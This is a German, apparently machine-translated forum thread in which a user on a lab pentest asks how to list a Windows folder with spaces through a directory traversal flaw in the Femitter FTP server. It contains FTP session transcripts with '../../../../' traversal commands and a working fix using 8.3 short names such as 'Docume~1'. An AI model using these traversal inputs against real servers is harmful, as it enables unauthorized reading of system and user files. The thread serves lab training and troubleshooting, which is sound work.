FTP-Verzeichnisdurchquerungsangriff auf Verzeichnisse, die Leerzeichen enthalten

11520
lockout

Ich führe einen sanktionierten Pentest in einer geschlossenen Referenzumgebung durch und habe mit einem scheinbar einfachen Problem zu kämpfen, das ich derzeit nicht lösen kann.

Beim Versuch, einen Verzeichnisdurchquerungsangriff auf einen verwundbaren Fermitter-FTP-Server auszuführen, der unter MS Windows ausgeführt wird, ist es möglich, eine Liste im Systemstammverzeichnis zu erstellen (Adressen und Inhaltslisten, die hier nur als Referenz dienen):

# ftp 192.168.13.22 Connected to 192.168.13.22. 220 Femitter FTP Server ready. Name (192.168.13.22:root):  331 Password required for root. Password: 230 User root logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls ../../../../ 200 Port command successful. 150 Opening data connection for directory list. -rwxrwxrwx 1 ftp ftp 0 Sep 23 2015 AUTOEXEC.BAT -rw-rw-rw- 1 ftp ftp 0 Sep 23 2015 CONFIG.SYS drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 Documents and Settings dr--r--r-- 1 ftp ftp 0 Sep 23 2015 Program Files drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 WINDOWS 226 File sent ok 

Wenn ich jedoch den Inhalt eines Ordners auflisten möchte, der Leerzeichen enthält Documents and settings, kann ich den Verzeichnisinhalt nicht auflisten, da Leerzeichen ignoriert werden.

ftp> ls ../../../../documents and settings/ usage: ls remote-directory local-file ftp> ls ../../../../documents\ and\ settings 200 Port command successful. 150 Opening data connection for directory list. /C:/Program Files/Femitter/Shared/../../../../documents not found 226 File sent ok ftp> ls ../../../../documents%20and%20settings 200 Port command successful. 150 Opening data connection for directory list. /C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found 226 File sent ok ftp> ls ../../../../'documents and settings'/ usage: ls remote-directory local-file ftp> ls ../../../../"documents and settings"/ 200 Port command successful. 150 Opening data connection for directory list. /C:/Program Files/Femitter/Shared/../../../../documents not found 226 File sent ok ftp> ls "../../../../documents and settings/" 200 Port command successful. 150 Opening data connection for directory list. /C:/Program Files/Femitter/Shared/../../../../documents not found 226 File sent ok 

Ich habe bereits versucht, verschiedene FTP-Clients (CLI und GUI unter Linux und Windows) zu verwenden, die entweder Leerzeichen ignorieren oder das Durchsuchen von Verzeichnissen nicht zulassen.

Es wurde auch versucht, den Angriff auf Python zu skripten, indem zunächst rohe Sockets und dann ftplib verwendet wurden, um die Befehle im HEX-Format direkt an den FTP-Server zu senden, jedoch ohne Erfolg.

Googeln für ein paar Stunden brachte keine funktionierende Lösung (ja, es gab viele Optionen, die nicht funktionierten), deshalb gibt es hier jemanden, der das gleiche Problem hatte. Ziemlich sicher, dass dies nicht das erste Mal ist, dass ein solches Verzeichnis mit Leerzeichen durchlaufen wird.

11
Groß- / Kleinschreibung drewbenn vor 8 Jahren 0
Bei den FTP-Clients ist die Groß- und Kleinschreibung nicht relevant. Zumindest listet der GNU / Linux-FTP-Client Verzeichnisse auf, die die Groß- und Kleinschreibung ignorieren. vor 8 Jahren 0
@lockout: Groß- und Kleinschreibung ist eine serverseitige Sache und keine Client-Sache. Der Client listet die Daten auf die gleiche Weise auf, wie der Server sie sendet, und ändert den Fall nicht. Steffen Ullrich vor 8 Jahren 0
@Steffen Ullrich: Danke! Dieser Server unterscheidet nicht zwischen Groß- und Kleinschreibung. Dabei spielt die Groß- und Kleinschreibung keine Rolle, sondern die Leerzeichen, die die Verzeichnisdurchquerung beenden. vor 8 Jahren 0
@ Tim: Danke! Bei dem FTP-Server-Banner handelt es sich gemäß der Auflistung um den Femitter-FTP-Server und nicht um den nativen Windows-FTP-Dienst. Es mag sein, aber ich bezweifle, dass dieses Problem nur auf diese Server-Edition beschränkt ist. vor 8 Jahren 0
Probieren Sie auch C: \ Docume ~ 1 \ aus. Dog eat cat world vor 8 Jahren 1
Versuchen Sie, die Leerzeichen mit `` \ `` zu umgehen, oder geben Sie die Verzeichniszeichenfolge an DavidPostill vor 8 Jahren 1
@Hund fressen Katzenwelt: Whoa, du hast recht mit dieser Notation! Das hatte ich vergessen. Werde es jetzt versuchen und melden. lockout vor 8 Jahren 0
@ DavidPostill: Danke! Die von Ihnen angesprochene Option wurde neben einigen weiteren Fluchtmethoden für die Flucht vor dem ersten Versuch bereits versucht. Sie können das in der Auflistung oben sehen. lockout vor 8 Jahren 0
@Dogeatcatworld: ** Dein Vorschlag hat funktioniert! ** Die Kurznotation "C: \ Docume ~ 1 \" aus dem Windows-Ordner war mir völlig aus dem Kopf gefallen! Ich werde den Beitrag mit der Lösung aktualisieren. Könnten Sie bitte Ihre Antwort auch einreichen, damit ich diese als funktionierende Lösung kennzeichnen kann? Danke noch einmal lockout vor 8 Jahren 0
Halten Sie Pferde, Jungs! :) Ich bin ein totaler Neuling in diesem Forum und werde die Lösung umgehend posten. Ich dachte nur, es wäre besser, wenn der Benutzer, der eine funktionierende Lösung vorschlug, diese hinzufügte, um eine angemessene Gutschrift zu erhalten. Alles beruhigt ... Danke! lockout vor 8 Jahren 0
Ich bin froh, dass es @lockout für Sie funktioniert hat. Da Sie sich die Mühe gemacht haben, Ihre Frage zu beantworten, ist es für mich in Ordnung, dass Sie sie als Antwort akzeptieren. Danke, dass du mir gutgeschrieben hast. Dog eat cat world vor 8 Jahren 1

3 Antworten auf die Frage

13
lockout

Von @Dogeatcatworld vorgeschlagene Lösung zur Verwendung der Kurznotation im MS Windows-Verzeichnis, z C:\Docume~1\.

ftp> ls ../../../../Docume~1/ 200 Port command successful. 150 Opening data connection for directory list. drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 . drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 .. drw-rw-rw- 1 ftp ftp 0 Sep 26 2015 Administrateur drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 All Users 226 File sent ok 

Ein wirklich guter Artikel aus der MS Knowledge Base erläutert die 8.3-Verzeichnisnotation: Wie Windows 8.3-Dateinamen aus langen Dateinamen generiert

OSCP Ich verstehe. Um Ihrem Tipp hinzuzufügen, für kurze Verzeichnisse wie "All Users", löschen Sie das Leerzeichen und verwenden Sie "AllUse ~ 1". Haben Sie einen Weg gefunden, den FTP-Server für interaktives Browsen zu laden, oder haben Sie am Ende Dateien einzeln heruntergeladen. n00b vor 6 Jahren 1
1
madsport

Der "Kurzname" ist eigentlich die alte Namenskonvention von DOS 8.3. Daher werden alle Verzeichnisse die ersten 6 Buchstaben gefolgt von ~ 1 sein, vorausgesetzt, es gibt nur einen Namen, der z. B. übereinstimmt:

C: \ ABCDEF ~ 1 - C: \ ABCDEFG I AM VERZEICHNIS
C: \ BCDEFG ~ 1 - C: \ BCDEFGHIJKL M Anderes Verzeichnis

Hier ist die einzige Ausnahme:

C: \ ABCDEF ~ 1 - C: \ ABCDEFG I AM VERZEICHNIS
C: \ ABCDEF ~ 2 - C: \ ABCDEFGHI Verzeichnis

Quelle: Wie finde ich den kurzen Pfad eines Windows-Verzeichnisses / einer Datei?

0
wireghoul

FTP verwendet keine URL-Kodierung. Daher funktioniert% xx nur, wenn Sie FTP in einem Browser verwenden, der es für Sie übersetzen kann.

Verwenden Sie stattdessen Anführungszeichen, zB: ls "../../some dir"

HI, wenn Sie sich die Versuche ansehen, die für das Durchsuchen des Verzeichnisses versucht wurden, werden Sie feststellen, dass ich mehrere Anführungszeichen versucht habe: einfaches Anführungszeichen, doppeltes Anführungszeichen und Rückschritt. Sie funktionierten nicht, wie in der FTP-Ausgabeliste dargestellt. Die Verwendung von% 20 diente nur dazu, zu experimentieren, ob dies funktionieren würde, da verzweifelte Versuche unternommen wurden, alle Optionen auszuprobieren. Natürlich funktioniert% encoding auf Browsern und FTP-Clients, die sie interpretieren können. lockout vor 8 Jahren 0